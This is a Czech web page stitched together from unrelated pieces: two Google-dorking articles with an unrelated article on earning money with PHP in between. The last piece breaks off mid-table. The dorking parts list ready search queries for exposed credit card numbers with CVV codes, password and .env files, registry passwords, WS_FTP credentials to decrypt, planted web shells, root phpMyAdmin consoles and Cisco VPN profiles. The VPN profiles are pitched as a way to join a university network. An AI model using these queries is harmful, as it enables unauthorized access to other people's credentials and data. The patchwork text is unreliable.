Inurl php http jaké výdělky. Jak vydělat peníze znalostmi PHP? Jak může php programátor vydělat dobré peníze doma?

Získání soukromých dat nemusí vždy znamenat hackování – někdy jsou zveřejněna veřejně. Znalost nastavení Google a trocha umu vám umožní najít spoustu zajímavých věcí – od čísel kreditních karet až po dokumenty FBI.

VAROVÁNÍ

Veškeré informace jsou poskytovány pouze pro informační účely. Redakce ani autor nenesou odpovědnost za případné škody způsobené materiály tohoto článku.

Dnes je vše připojeno k internetu, s minimálním zájmem o omezení přístupu. Mnoho soukromých dat se proto stává kořistí vyhledávačů. Spider roboti se již neomezují pouze na webové stránky, ale indexují veškerý obsah dostupný na internetu a neustále přidávají neveřejné informace do svých databází. Zjistit tato tajemství je snadné – stačí vědět, jak se na ně zeptat.

Hledání souborů

Ve schopných rukou Google rychle najde vše, co není na internetu, například osobní údaje a soubory pro oficiální použití. Často jsou schované jako klíč pod kobercem: neexistují žádná skutečná omezení přístupu, data prostě leží na zadní straně webu, kam nevedou žádné odkazy. Standardní webové rozhraní Google poskytuje pouze základní pokročilá nastavení vyhledávání, ale i ty budou dostačující.

Vyhledávání Google můžete omezit na konkrétní typ souboru pomocí dvou operátorů: filetype a ext . První určuje formát, který vyhledávač určil z názvu souboru, druhý určuje příponu souboru bez ohledu na jeho vnitřní obsah. Při vyhledávání v obou případech stačí zadat pouze příponu. Zpočátku bylo vhodné použít operátor ext v případech, kdy soubor neměl specifické vlastnosti formátu (například pro hledání konfiguračních souborů ini a cfg, které by mohly obsahovat cokoli). Nyní se algoritmy Google změnily a mezi operátory není žádný viditelný rozdíl – ve většině případů jsou výsledky stejné.


Filtrování výsledků

Ve výchozím nastavení Google vyhledává slova a obecně jakékoli zadané znaky ve všech souborech na indexovaných stránkách. Oblast hledání můžete omezit doménou nejvyšší úrovně, konkrétním webem nebo umístěním vyhledávací sekvence v samotných souborech. Pro první dvě možnosti použijte operátor webu a za ním název domény nebo vybraného webu. Ve třetím případě vám celá sada operátorů umožňuje vyhledávat informace v polích služeb a metadatech. Například allinurl najde daný v těle samotných odkazů, allinanchor - v textu vybaveném tagem , allintitle - v názvech stránek, allintext - v těle stránek.

Pro každého operátora existuje odlehčená verze s kratším názvem (bez předpony all). Rozdíl je v tom, že allinurl najde odkazy se všemi slovy a inurl najde pouze odkazy s prvním z nich. Druhé a následující slova z dotazu se mohou objevit kdekoli na webových stránkách. Operátor inurl se také liší od jiného operátoru s podobným významem – site. První také umožňuje najít libovolnou posloupnost znaků v odkazu na hledaný dokument (například /cgi-bin/), což se hojně používá k nalezení komponent se známými zranitelnostmi.

Pojďme si to vyzkoušet v praxi. Vezmeme allintextový filtr a z požadavku vytvoříme seznam čísel a ověřovacích kódů kreditních karet, kterým vyprší platnost až za dva roky (nebo až jejich majitele omrzí krmit všechny).

Allintext: číslo karty datum vypršení platnosti /2017 cvv

Když se ve zprávách dočtete, že se mladý hacker „naboural na servery“ Pentagonu nebo NASA a ukradl utajované informace, ve většině případů mluvíme právě o takové základní technice používání Google. Předpokládejme, že nás zajímá seznam zaměstnanců NASA a jejich kontaktní údaje. Takový seznam je jistě k dispozici v elektronické podobě. Pro pohodlí nebo kvůli přehlédnutí může být také na samotném webu organizace. Je logické, že v tomto případě na něj nebudou žádné odkazy, protože je určen pro interní použití. Jaká slova mohou být v takovém souboru? Minimálně pole „adresa“. Testování všech těchto předpokladů je snadné.


Inurl:nasa.gov filetype:xlsx "adresa"


Používáme byrokracii

Takové nálezy jsou fajn. Opravdu solidní úlovek poskytuje podrobnější znalost operátorů Googlu pro webmastery, samotné Sítě a zvláštností struktury toho, co se hledá. Když znáte podrobnosti, můžete snadno filtrovat výsledky a upřesňovat vlastnosti potřebných souborů, abyste ve zbytku získali skutečně cenná data. Je legrační, že byrokracie zde přichází na pomoc. Vytváří standardní formulace, které jsou vhodné pro vyhledávání tajných informací náhodně uniklých na internet.

Například razítko prohlášení o distribuci, které vyžaduje ministerstvo obrany USA, znamená standardizovaná omezení distribuce dokumentu. Písmeno A označuje veřejné zprávy, ve kterých není nic tajného; B - určeno pouze pro interní použití, C - přísně důvěrné atd. až do F. Samostatně vystupuje písmeno X, které označuje zvláště cenné informace představující státní tajemství nejvyšší úrovně. Nechte ty, kteří to mají dělat ve službě, takové dokumenty vyhledá a my se omezíme na soubory s písmenem C. Podle směrnice DoDI 5230.24 je toto označení přiděleno dokumentům obsahujícím popis kritických technologií, které spadají pod kontrolu exportu . Takto pečlivě chráněné informace můžete najít na stránkách v doméně nejvyšší úrovně.mil přidělené americké armádě.

"PROHLÁŠENÍ O DISTRIBUCI C" inurl:navy.mil

Je velmi výhodné, že doména .mil obsahuje pouze stránky Ministerstva obrany USA a jeho smluvních organizací. Výsledky vyhledávání s omezením domény jsou výjimečně čisté a názvy mluví samy za sebe. Pátrání po ruských tajemstvích tímto způsobem je prakticky zbytečné: na doménách.ru a.rf vládne chaos a názvy mnoha zbraňových systémů znějí botanické (PP „Kiparis“, samohybná děla „Akatsia“) nebo dokonce pohádkově ( TOS „Buratino“).


Pečlivým prostudováním jakéhokoli dokumentu z webu v doméně .mil můžete vidět další značky, které zpřesňují vyhledávání. Například odkaz na exportní omezení „Sec 2751“, což je také vhodné pro vyhledávání zajímavých technických informací. Čas od času je odstraněn z oficiálních stránek, kde se kdysi objevil, takže pokud nemůžete sledovat zajímavý odkaz ve výsledcích vyhledávání, použijte mezipaměť Google (operátor mezipaměti) nebo web Internet Archive.

Lezení do oblak

Kromě náhodně odtajněných vládních dokumentů se v mezipaměti Google občas objeví odkazy na osobní soubory z Dropboxu a dalších služeb pro ukládání dat, které vytvářejí „soukromé“ odkazy na veřejně publikovaná data. Ještě horší je to s alternativními a domácími službami. Například následující dotaz najde data pro všechny zákazníky Verizon, kteří mají nainstalovaný FTP server a aktivně používají svůj router.

Allinurl:ftp:// verizon.net

Takových chytrých lidí je nyní více než čtyřicet tisíc a na jaře 2015 jich bylo mnohem více. Místo Verizon.net můžete nahradit jméno jakéhokoli známého poskytovatele a čím slavnější je, tím větší může být úlovek. Prostřednictvím vestavěného FTP serveru můžete vidět soubory na externím úložném zařízení připojeném k routeru. Obvykle se jedná o NAS pro vzdálenou práci, osobní cloud nebo nějaký druh stahování souborů typu peer-to-peer. Veškerý obsah takových médií je indexován Googlem a dalšími vyhledávači, takže k souborům uloženým na externích discích máte přístup prostřednictvím přímého odkazu.

Při pohledu na konfigurace

Před rozšířenou migrací do cloudu vládly jako vzdálené úložiště jednoduché FTP servery, které měly také spoustu zranitelností. Mnohé z nich jsou aktuální i dnes. Například oblíbený program WS_FTP Professional ukládá konfigurační data, uživatelské účty a hesla do souboru ws_ftp.ini. Je snadné jej najít a přečíst, protože všechny záznamy jsou uloženy v textovém formátu a hesla jsou po minimálním zmatku zašifrována pomocí algoritmu Triple DES. Ve většině verzí stačí zahodit první bajt.

Taková hesla je snadné dešifrovat pomocí nástroje WS_FTP Password Decryptor nebo bezplatné webové služby.

Když mluvíme o hacknutí libovolného webu, mají obvykle na mysli získání hesla z protokolů a záloh konfiguračních souborů CMS nebo aplikací elektronického obchodu. Pokud znáte jejich typickou strukturu, můžete klíčová slova snadno uvést. Řádky jako ty nalezené v ws_ftp.ini jsou extrémně běžné. Například v Drupalu a PrestaShopu je vždy identifikátor uživatele (UID) a odpovídající heslo (pwd) a všechny informace jsou uloženy v souborech s příponou .inc. Můžete je vyhledat následovně:

"pwd=" "UID=" ext:inc

Odhalení hesel DBMS

V konfiguračních souborech SQL serverů jsou uživatelská jména a e-mailové adresy uloženy jako prostý text a místo hesel jsou zapsány jejich MD5 hash. Přísně vzato, je nemožné je dešifrovat, ale můžete najít shodu mezi známými páry hash-heslo.

Stále existují DBMS, které ani nepoužívají hash hesel. Konfigurační soubory kteréhokoli z nich lze jednoduše zobrazit v prohlížeči.

Intext:DB_PASSWORD filetype:env

S příchodem Windows serverů místo konfiguračních souborů částečně zabral registr. V jeho větvích můžete prohledávat úplně stejným způsobem s použitím reg jako typu souboru. Například takto:

Filetype:reg HKEY_CURRENT_USER "Heslo"=

Nezapomínejme na to, co je zřejmé

Někdy je možné se k utajovaným informacím dostat pomocí dat, která byla náhodně otevřena a dostala se do povědomí Googlu. Ideální možností je najít seznam hesel v nějakém běžném formátu. Ukládat informace o účtu do textového souboru, wordovského dokumentu nebo excelové tabulky mohou jen zoufalci, ale těch je vždy dost.

Filetype:xls inurl:password

Na jedné straně existuje spousta prostředků, jak takovým incidentům předejít. Je potřeba specifikovat adekvátní přístupová práva v htaccess, záplatovat CMS, nepoužívat levoruké skripty a zalepit další díry. Existuje také soubor se seznamem výjimek robots.txt, který vyhledávačům zakazuje indexovat soubory a adresáře v něm uvedené. Na druhou stranu, pokud se struktura robots.txt na některém serveru liší od standardní, pak je okamžitě jasné, co se na něm snaží skrýt.

Seznamu adresářů a souborů na libovolném webu předchází standardní index. Protože se pro servisní účely musí objevit v názvu, má smysl omezit jeho vyhledávání na operátora intitle. Zajímavosti jsou v adresářích /admin/, /personal/, /etc/ a dokonce i /secret/.

Zůstaňte naladěni na aktualizace

Relevance je zde nesmírně důležitá: staré zranitelnosti se uzavírají velmi pomalu, ale Google a jeho výsledky vyhledávání se neustále mění. Je dokonce rozdíl mezi filtrem „poslední vteřiny“ (&tbs=qdr:s na konci adresy URL požadavku) a filtrem „v reálném čase“ (&tbs=qdr:1).

Google implicitně uvádí i časový interval data poslední aktualizace souboru. Prostřednictvím grafického webového rozhraní lze vybrat jedno ze standardních období (hodinu, den, týden atd.) nebo nastavit časové období, tento způsob však není vhodný pro automatizaci.

Podle vzhledu adresního řádku můžete pouze hádat, jak omezit výstup výsledků pomocí konstrukce &tbs=qdr:. Písmeno y za ním určuje limit jednoho roku (&tbs=qdr:y), m ukazuje výsledky za poslední měsíc, w - za týden, d - za minulý den, h - za poslední hodinu, n - za minutu a s - za dej mi sekundu. Nejnovější výsledky, které Google právě zveřejnil, lze nalézt pomocí filtru &tbs=qdr:1 .

Pokud potřebujete napsat chytrý skript, bude užitečné vědět, že časové období se v Googlu nastavuje v juliánském formátu pomocí operátoru daterange. Takto můžete například najít seznam PDF dokumentů se slovem důvěrné, stažený od 1. ledna do 1. července 2015.

Důvěrný typ souboru: pdf rozsah dat: 2457024-2457205

Rozsah je uveden ve formátu juliánského data bez zohlednění zlomkové části. Ruční překládání z gregoriánského kalendáře je nepohodlné. Je jednodušší použít převodník data.

Opět cílení a filtrování

Kromě zadání dalších operátorů ve vyhledávacím dotazu je lze odeslat přímo v těle odkazu. Specifikace filetype:pdf například odpovídá konstrukci as_filetype=pdf . Díky tomu je pohodlné ptát se na jakékoli vysvětlení. Řekněme, že výstup výsledků pouze z Honduraské republiky je specifikován přidáním konstrukce cr=countryHN do vyhledávací URL a pouze z města Bobruisk - gcs=Bobruisk. Kompletní seznam najdete v sekci pro vývojáře.

Automatizační nástroje Google jsou navrženy tak, aby usnadňovaly život, ale často přinášejí problémy. Například město uživatele je určeno IP adresou uživatele prostřednictvím WHOIS. Na základě těchto informací Google nejen vyrovnává zatížení mezi servery, ale také mění výsledky vyhledávání. V závislosti na regionu se pro stejný požadavek zobrazí na první stránce různé výsledky a některé z nich mohou být zcela skryté. Dvoupísmenný kód za direktivou gl=country vám pomůže cítit se jako kosmopolita a hledat informace z jakékoli země. Například kód Nizozemska je NL, ale Vatikán a Severní Korea nemají svůj vlastní kód v Googlu.

Výsledky vyhledávání jsou často nepřehledné i po použití několika pokročilých filtrů. V tomto případě je snadné požadavek objasnit přidáním několika výjimek (před každé z nich je umístěno znaménko mínus). Například bankovnictví, jména a výukový program se často používají se slovem Osobní. Čistší výsledky vyhledávání se tedy zobrazí nikoli učebnicovým příkladem dotazu, ale zpřesněným:

Intitle:"Index /Osobní/" -jména -náuka -bankovnictví

Jeden poslední příklad

Sofistikovaný hacker se vyznačuje tím, že si vše potřebné zajišťuje sám. Například VPN je pohodlná věc, ale buď drahá, nebo dočasná a s omezeními. Přihlášení k odběru pro sebe je příliš drahé. Je dobře, že existují skupinové odběry a s pomocí Google je snadné se stát součástí skupiny. Chcete-li to provést, stačí najít konfigurační soubor Cisco VPN, který má poněkud nestandardní příponu PCF a rozpoznatelnou cestu: Program Files\Cisco Systems\VPN Client\Profiles. Jedna žádost a připojíte se například k přátelskému týmu univerzity v Bonnu.

Typ souboru: pcf vpn NEBO Skupina

INFO

Google najde konfigurační soubory hesel, ale mnoho z nich je zašifrováno nebo nahrazeno hashe. Pokud vidíte řetězce pevné délky, okamžitě vyhledejte službu dešifrování.

Hesla jsou uložena zašifrovaná, ale Maurice Massard již napsal program na jejich dešifrování a poskytuje jej zdarma prostřednictvím thecampusgeeks.com.

Google provádí stovky různých typů útoků a penetračních testů. Existuje mnoho možností, které ovlivňují oblíbené programy, hlavní databázové formáty, četné zranitelnosti PHP, cloudy a tak dále. Když budete přesně vědět, co hledáte, mnohem snáze najdete informace, které potřebujete (zejména informace, které jste nechtěli zveřejnit). Shodan není jediný, kdo krmí zajímavými nápady, ale každá databáze indexovaných síťových zdrojů!

Od autora: Dobrý den, přátelé! V tomto článku budeme hovořit o programovacím jazyce PHP. Pojďme zjistit, k čemu se používá, co s ním můžete dělat a jaké místo zaujímá ve fázích vývoje webu. Také v tomto článku se podíváme na mnoho způsobů, jak vydělat peníze na tom, jak programovat v PHP.

Co je to PHP a k čemu slouží?

PHP je skriptovací jazyk, který je velmi aktivně využíván při vývoji webových aplikací. PHP je jedním z předních jazyků používaných při vývoji dynamických webových stránek.

PHP je programovací jazyk na straně serveru. Všechny skripty napsané v tomto jazyce se spouštějí na serveru se stránkou. Abyste mohli studovat PHP, vyvíjet a ladit webové stránky a skripty, samozřejmě si nemusíte kupovat skutečný server na internetu. Pro tyto účely se používají serverové emulátory, které se ve formě programů jednoduše nainstalují na funkční počítač. A na serveru na internetu (hosting) jsou umístěny hotové webové stránky a stránky s PHP skripty. Mimochodem, téměř všechny moderní hostingy podporují jazyk PHP.

Popularita tohoto jazyka v oblasti vývoje webových stránek je dána přítomností velké sady vestavěných nástrojů pro vývoj webových aplikací. Ty hlavní:

automatická extrakce parametrů POST a GET, jakož i proměnných prostředí webového serveru do předdefinovaných polí;

interakce s velkým množstvím různých systémů pro správu databází (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape a Apache Derby, Informix, Ovrimos SQL, Lotus Notes, DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO Interface);

automatické odesílání HTTP hlaviček;

práce s cookies a relacemi;

práce s místními a vzdálenými soubory, sokety;

zpracování souborů nahraných na server;

práce s XForms.

Podívejme se na příklad, kdy na stránce běží PHP skript. Vezměte si například přihlašovací formulář, do kterého na mnoha stránkách zadáte své jméno a e-mail. HTML a CSS jsou zodpovědné za vzhled formuláře – barvy vstupních polí a tlačítek, změna barvy tlačítka při najetí a kliknutí na něj a podobně. Pomocí HTML5 můžete zkontrolovat správnost údajů zadaných do formuláře – například zda jsou správně vyplněna pole email nebo telefon.

A po kliknutí na tlačítko „Přihlásit se k odběru“ se zavolá PHP skript, který obdrží data, která jste zadali do formuláře. Skript je zaznamená do databáze, vygeneruje a odešle vám odkaz pro potvrzení vašeho přihlášení na e-mail uvedený ve formuláři, zkontroluje potvrzení přihlášení a odešle vám další e-maily. Všechny tyto operace se provádějí na serveru a to pomocí programovacího jazyka PHP.

Aplikace PHP při tvorbě webových stránek

Chcete-li vytvořit web, musíte projít několika fázemi:

Plánování. V této fázi plánujeme budoucí stránky: pro koho a proč je děláme, kdo stránky navštíví, čím je naplnit, co by na stránkách mělo být a podobně.

Design. Ve fázi návrhu vytváříme vzhled stránek webu v grafickém editoru.

Rozložení. Ve fázi rozvržení pomocí HTML a CSS vytvoříme stránky HTML budoucího webu z rozvržení získaných ve fázi návrhu.

Programování. Ve fázi programování automatizujeme procesy práce s webem. Administrativní část webu (admin panel) naprogramujeme tak, abyste mohli přidávat, mazat, upravovat stávající stránky i pro člověka, který je s tvorbou webu zcela neznalý. Programujeme tak, aby vyhledávání a všechny formuláře předplatného (pokud existují) na webu fungovaly. Dbáme na to, aby se nově přidaná stránka zobrazila na webu a v nabídce se automaticky objevil odkaz na vytvořenou stránku. Pokud stránka používá hlasování nebo průzkum, pak je vše také naprogramováno v PHP, ve fázi programování.

Pokud vezmeme v úvahu fázi programování většího webu, například internetového obchodu, pak je zde vše ještě širší a zajímavější. V tomto případě přidáváme nejen stránky, ale i produkty – hlavní obsah internetového obchodu. Navíc v administračním panelu musíte poskytnout rozpis přidaných produktů do různých kategorií. Dále by mělo být možné produkt upravovat, měnit jeho popis, cenu, obrázek atd.

Internetový obchod navíc vyžaduje naprogramování analytického systému - abyste v admin panelu viděli, kolik objednávek bylo zadáno a zaplaceno, za jakou částku a které produkty byly zaplaceny z jakých kategorií atd. je možné zobrazovat takové zprávy za různá období. Při programování internetového obchodu se často implementuje i reporting tržeb pro účetní a daňové účely.

Proto je fáze, ve které se programovací jazyk PHP používá, nejdůležitější, časově nejdelší a nejdražší a vysoce placená při vývoji webových stránek. A jakmile pochopíte, jak programovat internetový obchod, budete schopni vytvářet skripty pro web téměř jakékoli složitosti.

Popularita PHP

O oblíbenosti PHP svědčí fakt, že jej používá 83,1 % všech stránek, kde bylo možné identifikovat programovací jazyk na straně serveru.

Všechny nejpopulárnější CMS, které obsazují první místa v hodnocení oblíbenosti (placené i bezplatné: WordPress, Joomla, Drupal, Modx, Bitrix. Magento atd.), jsou napsány v programovacím jazyce PHP.

O oblibě programovacího jazyka PHP svědčí také mnoho vytvořených PHP frameworků, jako jsou Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 a další. Existuje obrovské množství fór a velkých komunit – pro PHP obecně, pro každý framework a pro každý CMS zvlášť.
Ještě dodám, že největší světové stránky, například Facebook, Wikipedie, jsou také napsány v PHP.

Jak můžete vydělat peníze se znalostí PHP?

Vzhledem k popularitě PHP je neustále vysoká poptávka po PHP programátorech. Znalost PHP a schopnost programovat v tomto jazyce vám otevře nové možnosti výdělku. Podívejme se na ty hlavní, se kterými se dnes opravdu dají vydělat peníze:

Vydělávejte peníze vývojem skriptů. Všechny stránky se neustále vyvíjejí a pravidelně vyžadují psaní nových skriptů nebo vývoj dalších funkcí, modulů atd. Majitelé stránek se s takovým vývojem obracejí na vývojáře PHP. Navíc v tomto případě můžete vydělávat peníze dvěma způsoby:

sledovat objednávky a najít vývojáře na volné noze;

vytvářet nápady pro hromadné skripty. Máte-li nápad na skript, který bude určitě žádaný například mezi majiteli internetových obchodů, můžete takový skript samostatně vyvinout a prodat jej majitelům internetových obchodů;

Finalizace hotových skriptů „na zakázku“. Vše je zde jednoduché - převezmete úpravu nebo opravu skriptu. Ale v tomto případě je tu nuance - zpočátku nemusí být scénář vytvořen příliš dobře a jeho vylepšování může trvat déle než psaní scénáře od začátku. Pokud tedy používáte tento způsob vydělávání peněz, zpočátku se velmi pečlivě dívejte na to, co budete upravovat a doplňovat.

Vývoj pluginů pro CMS. V této metodě je vše stejné jako při vydělávání peněz ze skriptů. Webové stránky vytvořené na hotovém CMS často vyžadují napsání nějakého pluginu, doplňku nebo rozšíření. A peníze zde můžete vydělat dvěma způsoby:

sledovat objednávky na vývoj pluginů, doplňků a rozšíření na volné noze;

vyvinout a prodat hromadný plugin, který bude určitě na většině webů žádaný;

Vlastní a společné projekty. Pokud máte nápad na internetový projekt (startup), například nápad na užitečnou službu nebo aplikaci, která by vyřešila konkrétní problém, pak se můžete pustit do jeho realizace. V počáteční fázi to může být dokonce jen jako koníček vedle hlavního zaměstnání. Když pak bude jasné, že koníček přeroste ve velký projekt, bude možné se mu více věnovat.

Tvorba dynamických webových stránek a enginů pro ně. Dobré peníze můžete vydělat také vývojem webových stránek na míru, prací na volné noze nebo ve webovém studiu.

Vytváření webových stránek pro sebe. Můžete si vytvořit web pro sebe, naplnit ho užitečným obsahem – a až bude mít web dostatečný počet návštěvníků, začněte vydělávat peníze tím, že na něj umístíte placenou reklamu nebo propagujete něčí produkty prostřednictvím affiliate programů.

Myslím, že mnohé z vás napadlo, že všechny výše uvedené způsoby vydělávání peněz lze kombinovat. A je to správné! Můžete si vytvořit web pro sebe a pasivně vydělávat peníze prodejem reklamy z něj, navíc vytvořit skript nebo plugin a prodávat je na specializovaných stránkách, vydělávat peníze na autopilotovi z každého prodeje a přitom můžete stále pracovat na webu studio. Proč ne? Samozřejmě můžete!

Kolik si může vývojář PHP vydělat?

U výdělků PHP programátorů je vše individuální. Zde hodně záleží na tom, kde pracovat, jak pracovat, na jaké úrovni znalostí, jaké zkušenosti, kvalifikace, jaké související další znalosti má vývojář a tak dále. Proto zde v zásadě nemůže být žádný přesný údaj. Můžeme se ale podívat na to, jaké platy se nabízejí při hledání PHP programátorů ve webovém studiu a kolik jsou ochotni zaplatit za projekt na burzách na volné noze.

Obrázek níže ukazuje navrhovaný plat pro PHP programátory ve webovém studiu. Navíc je to plat pro PHP programátory bez pracovních zkušeností:

Pokud máte pracovní zkušenosti, můžete si vydělat mnohem více. Níže jsou uvedeny platy nabízené zkušeným PHP programátorům.

A dnes si můžete také vydělat slušné peníze na volné noze:

Závěr

PHP je nejoblíbenějším programovacím jazykem mezi webovými vývojáři. Naprostá většina všech webových stránek na internetu je napsána v PHP. Se znalostmi a schopností vyvíjet se v tomto programovacím jazyce si můžete vydělat slušné peníze a existuje mnoho možností, jak vydělat peníze – od práce ve webovém studiu až po vývoj vlastního projektu nebo startupu.

Jakékoli hledání zranitelných míst na webových zdrojích začíná průzkumem a sběrem informací.
Inteligence může být buď aktivní – hrubá síla souborů a adresářů webu, spouštění skenerů zranitelnosti, ruční procházení webu, nebo pasivní – vyhledávání informací v různých vyhledávačích. Někdy se stane, že zranitelnost se stane známou ještě před otevřením první stránky webu.

Jak je tohle možné?
Vyhledávací roboti, neustále se pohybující po internetu, kromě informací užitečných pro běžného uživatele často zaznamenávají věci, které mohou útočníci využít k útoku na webový zdroj. Například chyby skriptů a soubory s citlivými informacemi (od konfiguračních souborů a protokolů až po soubory s autentizačními daty a zálohami databáze).
Chybová hláška o provedení sql dotazu je z pohledu vyhledávacího robota prostý text, neoddělitelný například od popisu produktů na stránce. Pokud náhle vyhledávací robot narazí na soubor s příponou .sql, který z nějakého důvodu skončil v pracovní složce webu, bude vnímán jako součást obsahu webu a bude také indexován (včetně případně hesel v něm specifikované).

Takové informace lze najít pomocí silných, často jedinečných klíčových slov, která pomáhají oddělit „zranitelné stránky“ od stránek, které zranitelnost neobsahují.
Na exploit-db.com existuje obrovská databáze speciálních dotazů využívajících klíčová slova (tzv. dorks) a je známá jako Google Hack Database.

Proč google?
Dorkové se primárně zaměřují na Google ze dvou důvodů:
− nejflexibilnější syntaxe klíčových slov (viz tabulka 1) a speciálních znaků (viz tabulka 2);
− index Google je ještě úplnější než index jiných vyhledávačů;

Tabulka 1 – Hlavní klíčová slova Google

Klíčové slovo
Význam
Příklad
místo
Hledejte pouze na zadaném webu. Bere v úvahu pouze url
site:somesite.ru – najde všechny stránky v dané doméně a subdoménách
inurl
Vyhledávání podle slov přítomných v uri. Na rozdíl od tř. slova „site“, hledá shodu za názvem webu
inurl:news - najde všechny stránky, kde se dané slovo vyskytuje v uri
intext
Hledejte v těle stránky
intext:"dopravní zácpy" - zcela podobné obvyklému požadavku na "dopravní zácpy"
titulek
Hledejte v názvu stránky. Text mezi značkami <br></td> <td width="214">intitle:”index of” - najde všechny stránky s výpisy adresářů <br></td> </tr><tr><td width="214">ext <br></td> <td width="214">Vyhledejte stránky se zadanou příponou <br></td> <td width="214">ext:pdf – vyhledá všechny soubory PDF <br></td> </tr><tr><td width="214">typ souboru <br></td> <td width="214">V současné době zcela podobné tř. slovo "ext" <br></td> <td width="214">filetype:pdf - podobný <br></td> </tr><tr><td width="214">příbuzný <br></td> <td width="214">Hledejte stránky s podobnými tématy <br></td> <td width="214">related:google.ru - zobrazí jeho analogy <br></td> </tr><tr><td width="214">odkaz <br></td> <td width="214">Vyhledejte stránky, které na to odkazují <br></td> <td width="214">link:somesite.ru - najde všechny stránky, které na to mají odkaz <br></td> </tr><tr><td width="214">definovat <br></td> <td width="214">Zobrazit definici slova <br></td> <td width="214">define:0day - definice pojmu <br></td> </tr><tr><td width="214">mezipaměti <br></td> <td width="214">Zobrazit obsah stránky v mezipaměti (pokud existuje) <br></td> <td width="214">cache:google.com – otevře stránku uloženou v mezipaměti <br></td> </tr></tbody></table><p>Tabulka 2 – Speciální znaky pro dotazy Google <br></p><table><tbody><tr><td width="214"><b>Symbol</b><br></td> <td width="214"><b>Význam</b><br></td> <td width="214"><b>Příklad</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Přesná fráze <br></td> <td width="214">intitle:“Stránka konfigurace směrovače RouterOS“ - vyhledejte směrovače <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Jakýkoli text <br></td> <td width="214">inurl: “bitrix*mcart” – hledání stránek na bitrixu pomocí zranitelného modulu mcart <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Jakákoli postava <br></td> <td width="214">Index.of - podobný indexu požadavku <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Smazat slovo <br></td> <td width="214">error -warning - zobrazí všechny stránky, které mají chybu, ale žádné varování <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Rozsah <br></td> <td width="214">cve 2006..2016 - zobrazit zranitelnosti podle roku počínaje rokem 2006 <br></td> </tr><tr><td width="214">|<br></td> <td width="214">Logické "nebo" <br></td> <td width="214">linux | okna - zobrazí stránky, kde se vyskytuje buď první nebo druhé slovo <br></td> </tr></tbody></table><br>Stojí za to pochopit, že jakýkoli požadavek na vyhledávač je vyhledávání pouze podle slov. <br>Je zbytečné hledat na stránce metaznaky (uvozovky, závorky, interpunkční znaménka atd.). I hledání přesné fráze uvedené v uvozovkách je hledání slov, po kterém následuje hledání přesné shody ve výsledcích. <p>Všechny dorky z databáze Google Hack jsou logicky rozděleny do 14 kategorií a jsou uvedeny v tabulce 3. <br>Tabulka 3 – Kategorie databáze Google Hack <br></p><table><tbody><tr><td width="168"><b>Kategorie</b><br></td> <td width="190"><b>Co vám umožní najít</b><br></td> <td width="284"><b>Příklad</b><br></td> </tr><tr><td width="168">Opěry <br></td> <td width="190">Webové shelly, veřejní správci souborů <br></td> <td width="284">Najděte všechny hacknuté stránky, na které jsou nahrány uvedené webové shelly: <br>(intitle:"phpshell" OR intitle:"c99shell" OR intitle:"r57shell" OR intitle:"PHP Shell" OR intitle:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Soubory obsahující uživatelská jména <br></td> <td width="190">Soubory registru, konfigurační soubory, logy, soubory obsahující historii zadaných příkazů <br></td> <td width="284">Najděte všechny soubory registru obsahující informace o účtu: <br><i>filetype:reg reg +intext:“správce internetových účtů“</i><br></td> </tr><tr><td width="168">Citlivé adresáře <br></td> <td width="190">Adresáře s různými informacemi (osobní dokumenty, konfigurace vpn, skrytá úložiště atd.) <br></td> <td width="284">Najít všechny výpisy adresářů obsahující soubory související s VPN: <br><i>"Config" intitle:"Index" intext:vpn</i><br>Stránky obsahující repozitáře git: <br><i>(intext:"index souboru /.git") ("nadřazený adresář")</i><br></td> </tr><tr><td width="168">Detekce webového serveru <br></td> <td width="190">Verze a další informace o webovém serveru <br></td> <td width="284">Najděte konzoly pro správu serveru JBoss: <br><i>inurl:"/web-console/" intitle:"Administrační konzole"</i><br></td> </tr><tr><td width="168">Zranitelné soubory <br></td> <td width="190">Skripty obsahující známé chyby zabezpečení <br></td> <td width="284">Najděte weby, které používají skript, který vám umožní nahrát libovolný soubor ze serveru: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Zranitelné servery <br></td> <td width="190">Instalační skripty, webové prostředí, otevřené administrativní konzoly atd. <br></td> <td width="284">Najděte otevřené konzoly PHPMyAdmin běžící jako root: <br><i>intitle:phpMyAdmin "Vítejte v phpMyAdmin ***" "běžící na * jako root@*"</i><br></td> </tr><tr><td width="168">Chybové zprávy <br></td> <td width="190">Různé chyby a varování často odhalí důležité informace – od verze CMS až po hesla <br></td> <td width="284">Stránky, které mají chyby při provádění SQL dotazů do databáze: <br><i>"Upozornění: mysql_query()" "neplatný dotaz"</i><br></td> </tr><tr><td width="168">Soubory obsahující šťavnaté informace <br></td> <td width="190">Certifikáty, zálohy, e-maily, protokoly, SQL skripty atd. <br></td> <td width="284">Najít inicializační skripty SQL: <br><i>filetype:sql a „insert into“ -site:github.com</i><br></td> </tr><tr><td width="168">Soubory obsahující hesla <br></td> <td width="190">Cokoli, co může obsahovat hesla – logy, SQL skripty atd. <br></td> <td width="284">Protokoly zmiňující hesla: <br><i>typ souboru:</i><i>log</i><i>intext:</i><i>heslo |</i><i>projít |</i><i>pw</i><br>sql skripty obsahující hesla: <br><i>ext:</i><i>sql</i><i>intext:</i><i>uživatelské jméno</i><i>intext:</i><i>Heslo</i><br></td> </tr><tr><td width="168">Citlivé informace o online nakupování <br></td> <td width="190">Informace související s online nákupy <br></td> <td width="284">Najít PIN kódy: <br><i>dcid=</i><i>bn=</i><i>kolík</i><i>kód=</i><br></td> </tr><tr><td width="168">Data sítě nebo zranitelnosti <br></td> <td width="190">Informace, které přímo nesouvisejí s webovým zdrojem, ale ovlivňují síť nebo jiné newebové služby <br></td> <td width="284">Najděte automatické konfigurační skripty proxy obsahující informace o interní síti: <br><i>inurl:proxy | inurl:wpad ext:pac | ext:dat findproxyforurl</i><br></td> </tr><tr><td width="168">Stránky obsahující přihlašovací portály <br></td> <td width="190">Stránky obsahující přihlašovací formuláře 